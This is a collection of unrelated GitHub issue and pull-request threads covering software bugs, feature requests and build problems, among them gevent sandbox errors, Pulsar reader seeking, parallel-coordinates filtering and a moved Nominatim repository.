docker-compose.x86_64                                                                                1.3.3-2.amzn1                                                                                hooroo
docker-compose.x86_64                                                                                1.4.0-1.amzn1                                                                                hooroo

This is fixed now and all previous releases are available! Thanks for submitting the bug report! :+1:


Update email-troubleshooting-guide.md

updating MFA

Docs Build status updates of commit 9f90a38:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

dynamics-gp/installation/email-troubleshooting-guide.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel


[Bug] Importing gevent causes sandbox errors

Describe the bug
from gevent.os import fork

Seems that causes the sandbox to fail

This is happening due to https://github.com/gevent/gevent/blob/1e412d35526183b26c1abf2eb658cbef661f5f70/src/gevent/os.py#L539 where https://github.com/gevent/gevent/blob/1e412d35526183b26c1abf2eb658cbef661f5f70/src/gevent/_util.py#L90 is accessing __dict__ of the module

This is caused by dict.items(our_restricted_proxy_wrapper_of_a_dict) which raises:

TypeError: descriptor 'items' for 'dict' objects doesn't apply to a '_RestrictedProxy' object

This is checked in C code and we can't fix it. Will suggest work arounds.


Unable to obtain port

This might sound silly to ask, but I just can't get it to working
I followed your App Setup description and just get
ERROR  Unable to obtain an available random port number!
my port 5000 is not being used, I have turned down my firewall, I tried using port 8080, I am running it with admin permissions, have double check if ffmped and MongoDB are installed and have restarted my pc multiple times.
I have not prior knowledge about Nuxt and don't know what to try anymore and would love to try your project. Do you know what could be the problem?
I would expect it to not really be an issue with your code, so sorry for asking this question if the issue is trivial to you.

You can just probably let Nuxt set the available port by editing package.json and removing the port entry.
"scripts": {
    "dev": "nuxt dev --host '0'",
    ...
}


Cancelling the chat event causes other plugins (DiscordSRV) to fail

A workaround could be to not cancel the event but remove all recipients

fixed by not cancelling the event but removing all recipients


outside filters with brushes

Summary
Often in integrated applications with parallel coordinates, I need the ability to filter the parallel coordinates from outside with other controls, such as HTML inputs or supplementary visualizations.  Here is a very minimal example demonstrating the concept with a modified version of the original parallel-coordinates.  Would you be interested in a pull request targeting this functionality?

Proof of Concept
As I mentioned, for the previous example, I modified the original parallel-coordinates to add outsideFilters to the API as shown in https://github.com/timelyportfolio/parallel-coordinates/commit/40fa0dc26fc80afe9d8f6c0d92a9de74f351176b.  This poc only targeted categorical/discrete filtering, but ideally I envision robust filtering that would cover all data types.
Thoughts
In all the brush modes, we have something like this before determining what is selected.
...
  // Resolves broken examples for now. They expect to get the full dataset back from empty brushes
  if (actives.length === 0) return config.data;
...
  return config.data.filter(d => {
    switch (brushGroup.predicate) {
      case 'AND':
        return actives.every(function(p, dimension) {
          return within[config.dimensions[p].type](d, p, dimension);
        });
      case 'OR':
        return actives.some(function(p, dimension) {
          return within[config.dimensions[p].type](d, p, dimension);
        });
      default:
        throw new Error('Unknown brush predicate ' + config.brushPredicate);
    }
  });

We could filter config.data here first and then perform the selected logic to the filtered config.data.
  // Resolves broken examples for now. They expect to get the full dataset back from empty brushes
  if (actives.length === 0) return config.data;
...
  //  apply outside filters
  //    assuming we have created an appropriate filter function
  let filteredData = filter(config.data);
...
  return filteredData.filter(d => {
    switch (brushGroup.predicate) {
      case 'AND':
        return actives.every(function(p, dimension) {
          return within[config.dimensions[p].type](d, p, dimension);
        });
      case 'OR':
        return actives.some(function(p, dimension) {
          return within[config.dimensions[p].type](d, p, dimension);
        });
      default:
        throw new Error('Unknown brush predicate ' + config.brushPredicate);
    }
  });

Potential Helper Dependency
I discovered search.js that might help with the API for filtering spec.
pinging @gordonwoodhull since you had some interest in the other pull and you have an enormous wealth of knowledge from dc.js

Thanks @timelyportfolio! Yes, I've been trying to create a wrapper for this library to interface with dc.js.
What I have tried so far is simply to replace the data whenever there is filtering on the dc.js side... that's how dc.js usually does things.
Performance is okay (for the cars dataset) and it sort of works as long as you brush only parcoords or dc.js, but parcoords goes blank when you brush both, and I haven't figured out why. Another thing I noticed is that the brushed set is not necessarily a subset of the data, so I am setting both. (And quite possibly I am doing it wrong.)
This looks like it may be a better approach; I'll give it a shot!

Ah, right, I missed that. Most likely you will get to it before me, but I'll let you know if I try anything!

Closed due to inactivity

@BigFatDog @gordonwoodhull I assembled a proof of concept in the filters branch using searchjs as the query DSL.  Here is a live example.
Screenshot

Questions
There are a couple of things I don't really like.

Currently I only implement for 1D-axes, but I can easily add to the other brushes.
parcoords.filter(...) performs the action while parcoods.filters() is the setter/getter for the filters but does not update.  I don't know the best way to clear the filters.  As of now, parcoords.filter() with no arguments clears the filter, but I don't think this is consistent with the api.  parcoords.filters() with no argument gets the set filters.

@timelyportfolio
I have gone through your code. Per your questions:

We can apply filter function to other brushes after we agree on how to add this function.
I have no idea of a better name so far. query is not good because this function changes parcoords 's state other than reads data from parcoords. filterWithQuery is too long
Providing this function in a plug-in makes sense. I'll try and come back.


Add ability to seek from current position in Reader interface

Is your enhancement request related to a problem? Please describe.
The Reader interface has the ability to seek to an arbitrary timestamp, MessageId, first or last message in a topic, or to read the next message. However, there is no API to seek fowards/backwards from the current position in a topic.
Ours I'm sure is not a common use-case, but you might imagine other situations where this could be useful. Ours is that we originally used Kafka for our pub/sub system and implemented cluster-wide logging via Kafka's Log4jAppender. We tried to implement the same thing using Pulsar, but we are unable to request the last n logs because we can't seek backwards n messages from the end of the topic. (Requesting logs from a particular timestamp onward was much easier to implement than in Kafka though!)
Describe the solution you'd like
Add a method to seek backwards (and forwards) from the current position by a number of messages.
Describe alternatives you've considered
Edit: See the workaround in my comment below.
I tried finding the last available MessageId and then manipulating the fields. Decrementing the MessageIdImpl.entryId seems to work, but only to the beginning of the ledger. I could also decrement the ledgerId, but I wouldn't know the Ledger's top entryId to start with. Plus, I'm not sure this is always a safe thing to do!

There are other ways to solve the use case without having support in Pulsar to seek backwards.
One possibility is to have some component consume the messages from the topic and publish index type of messages in another topic. Since the component could keep state while building the index messages, it can add message ids to previous index messages.
The application can be build to use these application specific index messages to achieve what you are describing. If it wants to read the last n log messages, it would go the the "index topic" and read the index message and which would contain the message id of the message where to start reading from.
A variation of this pattern would be to enhance the original messages to contain such "indexing information" instead of having a separate topic and messages for the purpose.

Hi @lhotari , thanks for the suggestion. Yes, this could work, but it would make things a bit more complex of course. I don't think we could put the previous-index information into the same topic as the log data because there are multiple writers. Each writer would only know its own previous index and not the global previous across all writers.

Hi there, as reader already support seek by messageId, maybe we can expose admin API to get message position before/after  N message from given position then we can utilize the seek to position our reader. Currently we already have ManagedLedgerImpl.getPositionAfterN  probably we can expose it and add getPositionBeforeN

Hi @MarvinCai, sounds like that could work. Of course it's not quite as discoverable as a new method on the Reader, but I understand that would be a bigger change as it would need to be implemented across all the clients, right?

Related to #6523

BTW, I was able to find a workaround for my use-case. I can use the Admin client to check the internalStats for the topic I'm interested in. This contains information on the ledgers that contain the data for the topic, including the ledgerIds and the top entryId for each ledger. With that information, I can create a MessageId to initialize the Reader's position.
Of course this doesn't work in all cases, but it's enough for this use-case where I'm not using batching or any exotic configurations.

The issue had no activity for 30 days, mark with Stale label.


⚠ Processors has degraded performance

In 1bc877d, Processors ($STATUS_URL) experienced degraded performance:

HTTP code: 200
Response time: 68 ms

Resolved: Processors performance has improved in 5d359e2.


3.0 Upgrade Report: Multiple Batch Jobs

What needs to be done
Provide automated migration recipe(s) for mitigations of

#null

where possible.
Please read Spring Boot 3 Upgrade Report Contribution Guideline

test


Tutorial for this library that does not involve Api.ai?

Is there a step by step tutorial for this library?  Specifically, how to install and configure it on a Linux box and how to launch it under Node.js?

Is there a tutorial that explains how to use this node.js client library for Google Actions, a getting started or overview/tutorial?  It would be extremely helpful to find  one that does not use the Api.ai fulfillment side of the library since we have our own natural language processing library.

We currently have a sample which runs a Node.js server without a cloud platform which is the Interactive Fiction Sample. That sample creates an express server in Node.js and serves it and has both an Actions SDK version here and a Dialogflow version here.
The Actions SDK sample file again here is most likely what you are looking for. Actions SDK gives you a more raw text input which you can then use your own natural language processing library to parse.
Other samples using Actions SDK are the Eliza sample, the Say a Number sample, and the Conversation Components sample (which has both a Actions SDK and a Dialogflow version).
Let me know if you would like more help or want more clarification about anything I mentioned.

Since there hasn't been more questions, closing this for now.
Feel free to open another issue if you have any more questions.


Player Lobby

As a user, I would like to see a list of online players in a TUI table when I run the client, rather than selecting an opponent players with a username via command line arguments.

I just started work on this; I'm hoping to land the changes in the next week.


chore(deps): update angular monorepo to v14

v14.0.0 has been released and contains a fix for the issue. Feel free to reopen the issue or to submit a new one if you meet any problems.


Choreography doesn't work after update.

No idea what is going on. No actual errors in the console but when trying to run any choreography even from other creators it just doesn't work. It spawns bots and they are trying to play regular match instead. Might be Hivemind issue actually so I already reported.

Let's continue the discussion here, since that's where I answered back first.


Git Repo no longer exists

I just tried to build this via docker.
This command RUN git clone --recursive git://github.com/twain47/Nominatim.git ./src is failing with:

fatal: unable to connect to github.com:
github.com[0: <IP_ADDRESS>]: errno=Connection refused
github.com[1: <IP_ADDRESS>]: errno=Connection refused

I've just found out that the repository was moved.
See: https://github.com/openstreetmap/Nominatim/commit/a52455f1604e5d3233315603da4a14f5b2608319

had the same problem, this fixed it for me: 2e003820aec010a23df6a6eb455693e554bc3591
already in the actual Dockerfile

@timnon thanks, I've just successfully built nominatim with the updated URL.
Everything works.


Area And Perimeter

Area And Perimeter

Great work @hrxproduction please give this repo a star if it really helped you to complete your PR.
Also follow me for follow back if you want to get connected with me for any such open source contribution program. Thank you 😊


Update README.md

We can also change it to Incubator instead of Of-watchdog

There is a mistake in README.md.
Description

Changed Classic to Of-watchdog.
Motivation and Context

While PR to the hava template i noticed this mistake.

[x] I have raised an issue to propose this change (required)

Which issue(s) this PR fixes

Fixes #109
Checklist:

[x] My code follows the code style of this project.
[x] My change requires a change to the documentation.
[x] I have updated the documentation accordingly.
[x] I've read the CONTRIBUTION guide
[x] I have signed-off my commits with git commit -s
[ ] I have added tests to cover my changes.
[ ] All new and existing tests passed.

To edit in the UI please give the Signed-off-by: on a new line in the description box. You'll see an example of this in your PRs that were merged. Alternatively fix this with the CLI and git commit --amend -s

@alexellis
I think you changed the wrong section...
In your commit you changed node-arm64 watchdog to of-watchdog but that template actually used the classic watchdog, Java8 template is the one uses of-watchdog...

OK.. thanks. Do you want to do a signed-off commit to correct it?
Alex


compile failed

Please answer these questions before submitting your issue.
What version of sky-walking are you using?
3.1
What version of your OS?
mac
What version of your JRE?
JDK8
What company or project?
51
What did you do?
execute mvn -U package -DskipTests  and you will get an error like “Could not resolve dependencies for project org.skywalking:apm-resin-4.x-plugin:jar:3.1-2017: Could not find artifact com.caucho:resin:jar:3.0.26 ”

You should follow what ci did : https://github.com/wu-sheng/sky-walking/blob/master/.travis.yml
run mvn install *** first.


Base64Decoder class added and wrapper classes modified to support decoding

@piotrzarzycki21 and @aharui  hope you review PR.

Thanx @piotrzarzycki21, waiting for the merge :)

@piotrzarzycki21 If you think it is good, feel free to merge it.  No need to wait for me.

Serkan maybe let's leave it as is. I willerge it and we can always fix that small issues later on.


make issue template

https://github.com/blog/2111-issue-and-pull-request-templates

fixed with https://github.com/tangrams/tangram/commit/30f0fff885c9f97ddda82f0d99778dc52015f55d


No sound after latest two updates

Describe the bug
The software have been working accordingly untill the last two updates. The software is completly silent even when its supposed to sing. No VB's I've used in the past work anymore. The notes light up in blue as it should but no sound is present. The software isn't muted but I can't hear a thing.
Expected behavior
It is supposed to sing when I use the notes that work with the VB but it doesn't work.
Environment:

OS: [Windows 11]
Version [e.g. 0.0.575.0]
Kasane Teto, WALTT english and cute, Zuzune Ring CVC, Matsudappoiyo Light CVC
None

have you checked which audio device is selected in preferences and tried switching resamplers?

The audio woks as it should as its set to my headphones and nothing else. I was working on a cover when the next time I booted it up after updating it, it just didn’t work.

I'm not sure this could help, but you have to try changing the resampler. I used macres and it worked.


[Question] For query cookbook "List most expensive queries", what is the type of time in the output?

Hi, when using the "List most expensive queries", what is the type of time in the output? Is it milliseconds? Nanoseconds?
I'm seeing numbers in an environment that I would not expect for those queries, but I can't figure out if the numbers are normal or not since I'm not sure which unit they're in.
It would be useful to have it in the documentation or annotated on the column names 😊.
Thanks.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: b75b1a49-8365-0fc4-5c27-677ff4b26325
Version Independent ID: 98fcce36-1717-a210-0bb6-5c7f48bdf36f
Content: Query cookbook - Finance & Operations | Dynamics 365
Content Source: articles/fin-ops-core/dev-itpro/lifecycle-services/querycookbook.md
Service: dynamics-ax-platform
Product: ****
Technology: ****
GitHub Login: @meeramahabala
Microsoft Alias: meeram

@meeramahabala, please update the content to address this issue.


App generator v2

Live instance: http://android-generator.eventyay.com/

Thank you! Great.
Let's get travis work in following steps again as well.